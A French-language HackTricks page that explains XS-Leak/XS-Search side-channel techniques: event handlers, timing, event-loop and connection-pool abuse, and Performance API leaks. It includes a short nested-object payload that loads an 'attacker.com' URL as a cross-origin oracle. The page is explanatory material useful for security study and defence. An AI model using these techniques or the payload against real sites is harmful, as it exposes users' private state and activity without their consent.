# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %}
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Soutenir HackTricks</summary>

* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.

</details>
{% endhint %}

## Informations de base

XS-Search est une méthode utilisée pour **extraire des informations cross-origin** en exploitant des **vulnérabilités de canal auxiliaire**.

Les composants clés impliqués dans cette attaque comprennent :

* **Web vulnérable** : Le site web cible à partir duquel les informations doivent être extraites.
* **Web de l'attaquant** : Le site web malveillant créé par l'attaquant, que la victime visite, hébergeant l'exploit.
* **Méthode d'inclusion** : La technique employée pour incorporer le Web vulnérable dans le Web de l'attaquant (par exemple, window.open, iframe, fetch, balise HTML avec href, etc.).
* **Technique de fuite** : Techniques utilisées pour discerner les différences dans l'état du Web vulnérable en fonction des informations recueillies par la méthode d'inclusion.
* **États** : Les deux conditions potentielles du Web vulnérable, que l'attaquant vise à distinguer.
* **Différences détectables** : Variations observables sur lesquelles l'attaquant s'appuie pour inférer l'état du Web vulnérable.

### Différences détectables

Plusieurs aspects peuvent être analysés pour différencier les états du Web vulnérable :

* **Code d'état** : Distinguer entre **divers codes d'état de réponse HTTP** cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification.
* **Utilisation de l'API** : Identifier **l'utilisation des API Web** à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique.
* **Redirections** : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML.
* **Contenu de la page** : Observer **les variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, telles que le **nombre de cadres intégrés** ou les disparités de taille dans les images.
* **En-tête HTTP** : Noter la présence ou éventuellement la valeur d'un **en-tête de réponse HTTP spécifique**, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
* **Temps** : Remarquer des disparités de temps cohérentes entre les deux états.

### Méthodes d'inclusion

* **Éléments HTML** : HTML offre divers éléments pour **l'inclusion de ressources cross-origin**, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée sur [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Cadres** : Des éléments tels que **iframe**, **object** et **embed** peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page **manque de protection contre le framing**, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow.
* **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un **handle de fenêtre** pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le cadre de l'authentification unique, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur.
* **Requêtes JavaScript** : JavaScript permet des requêtes directes vers des ressources cibles en utilisant **XMLHttpRequests** ou l'**API Fetch**. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP.

### Techniques de fuite

* **Gestionnaire d'événements** : Une technique de fuite classique dans les XS-Leaks, où des gestionnaires d'événements comme **onload** et **onerror** fournissent des informations sur le succès ou l'échec du chargement des ressources.
* **Messages d'erreur** : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant sa présence et son absence.
* **Limites globales** : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites imposées par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite.
* **État global** : Les interactions détectables avec les **états globaux** des navigateurs (par exemple, l'interface History) peuvent être exploitées. Par exemple, le **nombre d'entrées** dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin.
* **API de performance** : Cette API fournit des **détails de performance de la page actuelle**, y compris le timing réseau pour le document et les ressources chargées, permettant d'inférer sur les ressources demandées.
* **Attributs lisibles** : Certains attributs HTML sont **lisibles cross-origin** et peuvent être utilisés comme technique de fuite. Par exemple, la propriété `window.frame.length` permet à JavaScript de compter les cadres inclus dans une page web cross-origin.

## Outil et papier XSinator

XSinator est un outil automatique pour **vérifier les navigateurs contre plusieurs XS-Leaks connus** expliqués dans son papier : [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

Vous pouvez **accéder à l'outil sur** [**https://xsinator.com/**](https://xsinator.com/)

{% hint style="warning" %}
**XS-Leaks exclus** : Nous avons dû exclure les XS-Leaks qui reposent sur des **workers de service** car ils interfèreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'**exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application web spécifique**. Par exemple, les erreurs de configuration CrossOrigin Resource Sharing (CORS), les fuites postMessage ou le Cross-Site Scripting. De plus, nous avons exclu les XS-Leaks basés sur le temps car ils souffrent souvent d'être lents, bruyants et inexactes.
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## **Techniques basées sur le temps**

Certaines des techniques suivantes vont utiliser le temps comme partie du processus pour détecter les différences dans les états possibles des pages web. Il existe différentes manières de mesurer le temps dans un navigateur web.

**Horloges** : L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permet aux développeurs d'obtenir des mesures de temps à haute résolution.\
Il existe un nombre considérable d'APIs que les attaquants peuvent abuser pour créer des horloges implicites : [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations CSS, et d'autres.\
Pour plus d'infos : [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## Techniques de gestionnaire d'événements

### Onload/Onerror

* **Méthodes d'inclusion** : Cadres, Éléments HTML
* **Différence détectable** : Code d'état
* **Plus d'infos** : [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Résumé** : si l'on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succès/échec, il est possible de déterminer le code d'état.
* **Exemple de code** : [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

L'exemple de code essaie de **charger des objets de scripts depuis JS**, mais **d'autres balises** telles que des objets, des feuilles de style, des images, des audios pourraient également être utilisées. De plus, il est également possible d'injecter la **balise directement** et de déclarer les événements `onload` et `onerror` à l'intérieur de la balise (au lieu de l'injecter depuis JS).

Il existe également une version sans script de cette attaque :
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
Dans ce cas, si `example.com/404` n'est pas trouvé, `attacker.com/?error` sera chargé.

### Onload Timing

* **Inclusion Methods**: Éléments HTML
* **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **peut être utilisée pour mesurer combien de temps il faut pour effectuer une requête. Cependant, d'autres horloges pourraient être utilisées, comme l'[**API PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) qui peut identifier les tâches s'exécutant pendant plus de 50 ms.**
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un autre exemple dans :

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

Cette technique est similaire à la précédente, mais l'**attaquant** va également **forcer** une action pour prendre une **durée pertinente** lorsque la **réponse est positive ou négative** et mesurer ce temps.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: Cadres
* **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** L'horloge [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) peut être utilisée pour mesurer combien de temps il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) et [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). L'événement **`beforeunload`** est déclenché lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l'événement **`unload`** se produit lorsque la navigation a effectivement lieu. La différence de temps entre ces deux événements peut être calculée pour déterminer la **durée que le navigateur a passée à récupérer la ressource**.

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: Cadres
* **Detectable Difference**: Timing (généralement dû au contenu de la page, code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) peut être utilisée pour mesurer combien de temps il faut pour effectuer une requête. D'autres horloges pourraient être utilisées.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

Il a été observé qu'en l'absence de [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), le temps nécessaire pour qu'une page et ses sous-ressources se chargent sur le réseau peut être mesuré par un attaquant. Cette mesure est généralement possible car le gestionnaire `onload` d'un iframe est déclenché uniquement après l'achèvement du chargement des ressources et de l'exécution de JavaScript. Pour contourner la variabilité introduite par l'exécution de scripts, un attaquant pourrait utiliser l'attribut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dans le `<iframe>`. L'inclusion de cet attribut restreint de nombreuses fonctionnalités, notamment l'exécution de JavaScript, facilitant ainsi une mesure qui est principalement influencée par la performance du réseau.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload

* **Inclusion Methods**: Frames
* **Detectable Difference**: Contenu de la page
* **More info**:
* **Summary**: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est accédé et la faire charger correctement lorsque n'importe quel contenu est accédé, alors vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps.
* **Code Example**:

Supposons que vous puissiez **insérer** la **page** qui contient le **contenu secret** **dans un Iframe**.

Vous pouvez **faire rechercher à la victime** le fichier qui contient "_**flag**_" en utilisant un **Iframe** (exploiter un CSRF par exemple). À l'intérieur de l'Iframe, vous savez que l'_**événement onload**_ sera **exécuté toujours au moins une fois**. Ensuite, vous pouvez **changer** l'**URL** de l'**iframe** mais en changeant uniquement le **contenu** du **hash** à l'intérieur de l'URL.

Par exemple :

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

Si la première URL a été **chargée avec succès**, alors, lorsque vous **changez** la partie **hash** de l'URL, l'**événement onload** **ne sera pas déclenché** à nouveau. Mais **si** la page avait une sorte d'**erreur** lors du **chargement**, alors, l'**événement onload** sera **déclenché à nouveau**.

Ensuite, vous pouvez **distinguer entre** une page **chargée correctement** ou une page qui a une **erreur** lorsqu'elle est accédée.

### Javascript Execution

* **Inclusion Methods**: Frames
* **Detectable Difference**: Contenu de la page
* **More info**:
* **Summary:** Si la **page** renvoie le **contenu sensible**, **ou** un **contenu** qui peut être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir **un code JS valide dans le cas négatif**, un **chargement** à chaque essai à l'intérieur des **`<script>`** tags, donc dans les cas **négatifs**, le **code** des attaquants est **exécuté**, et dans les cas **affirmatifs**, **rien** ne sera exécuté.
* **Code Example:**

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: Éléments HTML
* **Detectable Difference**: Code d'état & En-têtes
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: **Cross-Origin Read Blocking (CORB)** est une mesure de sécurité qui empêche les pages web de charger certaines ressources sensibles d'origine croisée pour se protéger contre des attaques comme **Spectre**. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu'une réponse soumise à **CORB** renvoie un `Content-Type` _**protégé par CORB**_ avec `nosniff` et un code d'état `2xx`, **CORB** supprime le corps et les en-têtes de la réponse. Les attaquants observant cela peuvent déduire la combinaison du **code d'état** (indiquant le succès ou l'erreur) et du `Content-Type` (indiquant s'il est protégé par **CORB**), ce qui peut entraîner une fuite d'informations potentielle.
* **Code Example**:

Vérifiez le lien d'informations supplémentaires pour plus d'informations sur l'attaque.

### onblur

* **Inclusion Methods**: Frames
* **Detectable Difference**: Contenu de la page
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: Fuite de données sensibles à partir de l'attribut id ou name.
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

Il est possible de **charger une page** à l'intérieur d'un **iframe** et d'utiliser le **`#id_value`** pour faire **focaliser la page sur l'élément** de l'iframe avec l'id indiqué, puis si un signal **`onblur`** est déclenché, l'élément ID existe.\
Vous pouvez effectuer la même attaque avec des tags **`portal`**.

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Utilisation de l'API
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: Rassembler des informations sensibles à partir d'un postMessage ou utiliser la présence de postMessages comme un oracle pour connaître l'état de l'utilisateur sur la page
* **Code Example**: `Tout code écoutant tous les postMessages.`

Les applications utilisent fréquemment les [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) pour communiquer entre différentes origines. Cependant, cette méthode peut involontairement exposer des **informations sensibles** si le paramètre `targetOrigin` n'est pas correctement spécifié, permettant à n'importe quelle fenêtre de recevoir les messages. De plus, le simple fait de recevoir un message peut agir comme un **oracle** ; par exemple, certains messages peuvent n'être envoyés qu'aux utilisateurs qui sont connectés. Par conséquent, la présence ou l'absence de ces messages peut révéler des informations sur l'état ou l'identité de l'utilisateur, comme s'il est authentifié ou non.

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Techniques de Limites Globales

### WebSocket API

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Utilisation de l'API
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: Épuiser la limite de connexion WebSocket révèle le nombre de connexions WebSocket d'une page d'origine croisée.
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

Il est possible d'identifier si, et combien, de **connexions WebSocket une page cible utilise**. Cela permet à un attaquant de détecter les états de l'application et de révéler des informations liées au nombre de connexions WebSocket.

Si une **origine** utilise le **nombre maximum d'objets de connexion WebSocket**, indépendamment de l'état de leurs connexions, la création de **nouveaux objets entraînera des exceptions JavaScript**. Pour exécuter cette attaque, le site de l'attaquant ouvre le site cible dans une fenêtre pop-up ou un iframe et ensuite, après que le site web cible a été chargé, tente de créer le maximum de connexions WebSocket possible. Le **nombre d'exceptions levées** est le **nombre de connexions WebSocket utilisées par la fenêtre du site web cible**.

### Payment API

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Utilisation de l'API
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: Détecter la demande de paiement car une seule peut être active à la fois.
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Cette fuite XS permet à un attaquant de **détecter quand une page d'origine croisée initie une demande de paiement**.

Parce que **une seule demande de paiement peut être active** à la fois, si le site cible utilise l'API de demande de paiement, toute nouvelle tentative d'utiliser cette API échouera et provoquera une **exception JavaScript**. L'attaquant peut exploiter cela en **tentant périodiquement d'afficher l'interface utilisateur de l'API de paiement**. Si une tentative provoque une exception, le site cible l'utilise actuellement. L'attaquant peut cacher ces tentatives périodiques en fermant immédiatement l'interface utilisateur après sa création.

### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: Timing (généralement dû au Contenu de la page, Code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Summary:** Mesurer le temps d'exécution d'un web en abusant de la boucle d'événements JS à thread unique.
* **Code Example**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScript fonctionne sur un modèle de concurrence de [boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), signifiant qu'il **ne peut exécuter qu'une seule tâche à la fois**. Cette caractéristique peut être exploitée pour évaluer **combien de temps le code d'une autre origine prend pour s'exécuter**. Un attaquant peut mesurer le temps d'exécution de son propre code dans la boucle d'événements en envoyant continuellement des événements avec des propriétés fixes. Ces événements seront traités lorsque le pool d'événements est vide. Si d'autres origines envoient également des événements au même pool, un **attaquant peut déduire le temps qu'il faut pour que ces événements externes s'exécutent en observant les retards dans l'exécution de ses propres tâches**. Cette méthode de surveillance de la boucle d'événements pour des retards peut révéler le temps d'exécution du code provenant de différentes origines, exposant potentiellement des informations sensibles.

{% hint style="warning" %}
Dans un timing d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
{% endhint %}

### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: Timing (généralement dû au Contenu de la page, Code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** Une méthode pour mesurer le temps d'exécution d'une opération web consiste à bloquer intentionnellement la boucle d'événements d'un thread et ensuite à chronométrer **combien de temps il faut pour que la boucle d'événements redevienne disponible**. En insérant une opération de blocage (comme un long calcul ou un appel d'API synchrone) dans la boucle d'événements, et en surveillant le temps qu'il faut pour que le code suivant commence à s'exécuter, on peut déduire la durée des tâches qui s'exécutaient dans la boucle d'événements pendant la période de blocage. Cette technique exploite la nature à thread unique de la boucle d'événements de JavaScript, où les tâches sont exécutées séquentiellement, et peut fournir des informations sur la performance ou le comportement d'autres opérations partageant le même thread.
* **Code Example**:

Un avantage significatif de la technique de mesure du temps d'exécution en verrouillant la boucle d'événements est son potentiel à contourner **l'Isolation de Site**. **L'Isolation de Site** est une fonctionnalité de sécurité qui sépare différents sites web en processus distincts, visant à empêcher les sites malveillants d'accéder directement aux données sensibles d'autres sites. Cependant, en influençant le timing d'exécution d'une autre origine par le biais de la boucle d'événements partagée, un attaquant peut indirectement extraire des informations sur les activités de cette origine. Cette méthode ne repose pas sur un accès direct aux données de l'autre origine mais plutôt sur l'observation de l'impact des activités de cette origine sur la boucle d'événements partagée, contournant ainsi les barrières de protection établies par **l'Isolation de Site**.

{% hint style="warning" %}
Dans un timing d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
{% endhint %}

### Connection Pool

* **Inclusion Methods**: Requêtes JavaScript
* **Detectable Difference**: Timing (généralement dû au Contenu de la page, Code d'état)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** Un attaquant pourrait verrouiller toutes les sockets sauf 1, charger le web cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a mis à se charger.
* **Code Example**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

Les navigateurs utilisent des sockets pour la communication avec le serveur, mais en raison des ressources limitées du système d'exploitation et du matériel, **les navigateurs sont contraints d'imposer une limite** sur le nombre de sockets simultanés. Les attaquants peuvent exploiter cette limitation par les étapes suivantes :

1. Déterminer la limite de sockets du navigateur, par exemple, 256 sockets globales.
2. Occuper 255 sockets pendant une durée prolongée en initiant 255 requêtes vers divers hôtes, conçues pour maintenir les connexions ouvertes sans les terminer.
3. Utiliser le 256ème socket pour envoyer une requête à la page cible.
4. Tenter une 257ème requête vers un autre hôte. Étant donné que tous les sockets sont utilisés (comme indiqué aux étapes 2 et 3), cette requête sera mise en file d'attente jusqu'à ce qu'un socket devienne disponible. Le délai avant que cette requête ne progresse fournit à l'attaquant des informations de timing sur l'activité réseau liée au socket du 256ème (le socket de la page cible). Cette déduction est possible car les 255 sockets de l'étape 2 sont toujours engagés, ce qui implique que tout nouveau socket disponible doit être celui libéré par l'étape 3. Le temps nécessaire pour que le 256ème socket devienne disponible est donc directement lié au temps requis pour que la requête à la page cible se termine.

Pour plus d'infos : [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)

### Connection Pool by Destination

* **Inclusion Methods**: Requêtes JavaScript
* **Detectable Difference**: Timing (généralement dû au Contenu de la page, Code d'état)
* **More info**:
* **Summary:** C'est comme la technique précédente mais au lieu d'utiliser tous les sockets, Google **Chrome** impose une limite de **6 requêtes simultanées à la même origine**. Si nous **bloquons 5** et ensuite **lançons une 6ème** requête, nous pouvons **chronométrer** et si nous avons réussi à faire en sorte que la **page victime envoie** plus de **requêtes** vers le même point de terminaison pour détecter un **statut** de la **page**, la **6ème requête** prendra **plus de temps** et nous pouvons le détecter.

## Techniques de l'API de Performance

L'[`API de Performance`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre des aperçus sur les métriques de performance des applications web, enrichies par l'[`API de Timing des Ressources`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API de Timing des Ressources permet de surveiller les temps de requêtes réseau détaillés, tels que la durée des requêtes. Notamment, lorsque les serveurs incluent l'en-tête `Timing-Allow-Origin: *` dans leurs réponses, des données supplémentaires comme la taille de transfert et le temps de recherche de domaine deviennent disponibles.

Cette richesse de données peut être récupérée via des méthodes comme [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fournissant une vue complète des informations liées à la performance. De plus, l'API facilite la mesure des temps d'exécution en calculant la différence entre les horodatages obtenus à partir de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Cependant, il convient de noter que pour certaines opérations dans des navigateurs comme Chrome, la précision de `performance.now()` peut être limitée aux millisecondes, ce qui pourrait affecter la granularité des mesures de timing.

Au-delà des mesures de timing, l'API de Performance peut être exploitée pour des aperçus liés à la sécurité. Par exemple, la présence ou l'absence de pages dans l'objet `performance` dans Chrome peut indiquer l'application de `X-Frame-Options`. Plus précisément, si une page est bloquée de son rendu dans un cadre en raison de `X-Frame-Options`, elle ne sera pas enregistrée dans l'objet `performance`, fournissant un indice subtil sur les politiques de cadre de la page.

### Error Leak

* **Inclusion Methods**: Frames, Éléments HTML
* **Detectable Difference**: Code d'état
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Une requête qui entraîne des erreurs ne créera pas d'entrée de timing de ressource.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

Il est possible de **différencier entre les codes d'état de réponse HTTP** car les requêtes qui entraînent une **erreur** ne **créent pas d'entrée de performance**.

### Style Reload Error

* **Inclusion Methods**: Éléments HTML
* **Detectable Difference**: Code d'état
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** En raison d'un bug du navigateur, les requêtes qui entraînent des erreurs sont chargées deux fois.
* **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

Dans la technique précédente, deux cas ont également été identifiés où des bugs du navigateur dans GC entraînent des **ressources étant chargées deux fois lorsqu'elles échouent à se charger**. Cela entraînera plusieurs entrées dans l'API de Performance et peut donc être détecté.

### Request Merging Error

* **Inclusion Methods**: Éléments HTML
* **Detectable Difference**: Code d'état
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Les requêtes qui entraînent une erreur ne peuvent pas être fusionnées.
* **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

La technique a été trouvée dans un tableau dans le document mentionné mais aucune description de la technique n'a été trouvée. Cependant, vous pouvez trouver le code source en vérifiant [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### Empty Page Leak

* **Inclusion Methods**: Frames
* **Detectable Difference**: Contenu de la page
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Les réponses vides ne créent pas d'entrées de timing de ressource.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

